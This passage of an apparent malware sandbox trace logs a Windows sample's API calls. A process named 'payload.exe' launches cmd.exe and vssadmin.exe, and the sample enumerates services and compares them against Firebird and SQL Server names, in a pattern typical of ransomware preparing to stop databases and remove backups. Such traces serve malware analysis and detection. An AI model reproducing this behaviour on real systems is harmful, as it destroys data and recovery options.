(lpString="wininit.exe") returned 11 [0137.362] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0137.362] lstrlenW (lpString="csrss.exe") returned 9 [0137.362] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0137.363] lstrlenW (lpString="winlogon.exe") returned 12 [0137.363] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0137.374] lstrlenW (lpString="services.exe") returned 12 [0137.374] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0137.375] lstrlenW (lpString="lsass.exe") returned 9 [0137.375] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.376] lstrlenW (lpString="svchost.exe") returned 11 [0137.376] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0137.377] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0137.377] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0137.378] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0137.378] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.378] lstrlenW (lpString="svchost.exe") returned 11 [0137.378] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0137.379] lstrlenW (lpString="dwm.exe") returned 7 [0137.379] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.380] lstrlenW (lpString="svchost.exe") returned 11 [0137.380] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.381] lstrlenW (lpString="svchost.exe") returned 11 [0137.381] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.382] lstrlenW (lpString="svchost.exe") returned 11 [0137.382] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.382] lstrlenW (lpString="svchost.exe") returned 11 [0137.383] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.383] lstrlenW (lpString="svchost.exe") returned 11 [0137.383] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.384] lstrlenW (lpString="svchost.exe") returned 11 [0137.384] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.385] lstrlenW (lpString="svchost.exe") returned 11 [0137.385] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.385] lstrlenW (lpString="svchost.exe") returned 11 [0137.386] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.386] lstrlenW (lpString="svchost.exe") returned 11 [0137.386] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.387] lstrlenW (lpString="svchost.exe") returned 11 [0137.387] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0137.388] lstrlenW (lpString="spoolsv.exe") returned 11 [0137.388] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.388] lstrlenW (lpString="svchost.exe") returned 11 [0137.389] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0137.389] lstrlenW (lpString="audiodg.exe") returned 11 [0137.389] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0137.390] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0137.390] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0137.391] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0137.391] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0137.391] lstrlenW (lpString="Memory Compression") returned 18 [0137.392] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0137.392] lstrlenW (lpString="sihost.exe") returned 10 [0137.392] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.393] lstrlenW (lpString="svchost.exe") returned 11 [0137.393] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0137.394] lstrlenW (lpString="taskhostw.exe") returned 13 [0137.394] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0137.394] lstrlenW (lpString="msoia.exe") returned 9 [0137.394] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0137.395] lstrlenW (lpString="explorer.exe") returned 12 [0137.395] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0137.396] lstrlenW (lpString="SearchUI.exe") returned 12 [0137.396] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0137.397] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0137.397] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0137.397] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0137.397] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0137.398] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0137.398] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0137.399] lstrlenW (lpString="payload.exe") returned 11 [0137.399] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0137.400] lstrlenW (lpString="cmd.exe") returned 7 [0137.400] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0137.400] lstrlenW (lpString="conhost.exe") returned 11 [0137.400] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0137.401] lstrlenW (lpString="vssadmin.exe") returned 12 [0137.401] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0137.402] lstrlenW (lpString="consent.exe") returned 11 [0137.402] Process32NextW (in: hSnapshot=0x3b0, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0137.402] CloseHandle (hObject=0x3b0) returned 1 [0137.402] Sleep (dwMilliseconds=0x1f4) [0138.594] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x443dfe0 [0138.595] EnumServicesStatusExW (in: hSCManager=0x443dfe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0138.595] GetLastError () returned 0xea [0138.595] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1c30) returned 0x448dfd8 [0138.595] EnumServicesStatusExW (in: hSCManager=0x443dfe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x448dfd8, cbBufSize=0x1c30, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x448dfd8, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0138.596] CloseServiceHandle (hSCObject=0x443dfe0) returned 1 [0138.596] lstrlenW (lpString="Appinfo") returned 7 [0138.596] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0138.596] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0138.596] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0138.596] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0138.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0138.597] lstrlenW (lpString="AppXSvc") returned 7 [0138.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0138.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0138.597] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0138.597] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0138.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0138.597] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0138.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0138.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0138.597] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0138.597] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0138.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0138.597] lstrlenW (lpString="Audiosrv") returned 8 [0138.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0138.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0138.597] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0138.597] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0138.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0138.597] lstrlenW (lpString="BFE") returned 3 [0138.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0138.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0138.597] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0138.597] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0138.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0138.597] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0138.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0138.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0138.597] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0138.597] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0138.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0138.597] lstrlenW (lpString="CDPSvc") returned 6 [0138.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0138.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0138.597] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0138.597] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0138.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0138.598] lstrlenW (lpString="ClickToRunSvc") returned 13 [0138.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0138.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0138.598] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0138.598] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0138.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0138.598] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0138.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0138.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0138.598] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0138.598] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0138.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0138.598] lstrlenW (lpString="CryptSvc") returned 8 [0138.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0138.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0138.598] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0138.598] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0138.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0138.598] lstrlenW (lpString="DcomLaunch") returned 10 [0138.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0138.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0138.598] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0138.598] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0138.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0138.599] lstrlenW (lpString="DeviceAssociationService") returned 24 [0138.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0138.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0138.599] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0138.599] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0138.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0138.599] lstrlenW (lpString="Dhcp") returned 4 [0138.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0138.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0138.612] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0138.612] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0138.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0138.612] lstrlenW (lpString="Dnscache") returned 8 [0138.612] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0138.612] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0138.612] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0138.612] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0138.612] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0138.613] lstrlenW (lpString="DPS") returned 3 [0138.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0138.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0138.613] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0138.613] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0138.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0138.613] lstrlenW (lpString="DusmSvc") returned 7 [0138.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0138.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0138.613] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0138.613] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0138.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0138.613] lstrlenW (lpString="EventLog") returned 8 [0138.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0138.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0138.613] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0138.613] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0138.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0138.613] lstrlenW (lpString="EventSystem") returned 11 [0138.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0138.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0138.613] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0138.613] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0138.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0138.613] lstrlenW (lpString="FontCache") returned 9 [0138.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0138.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0138.613] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0138.613] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0138.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0138.613] lstrlenW (lpString="gpsvc") returned 5 [0138.613] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0138.613] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0138.613] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0138.613] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0138.613] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0138.613] lstrlenW (lpString="iphlpsvc") returned 8 [0138.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0138.614] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0138.614] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0138.614] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0138.614] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0138.614] lstrlenW (lpString="KeyIso") returned 6 [0138.614] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 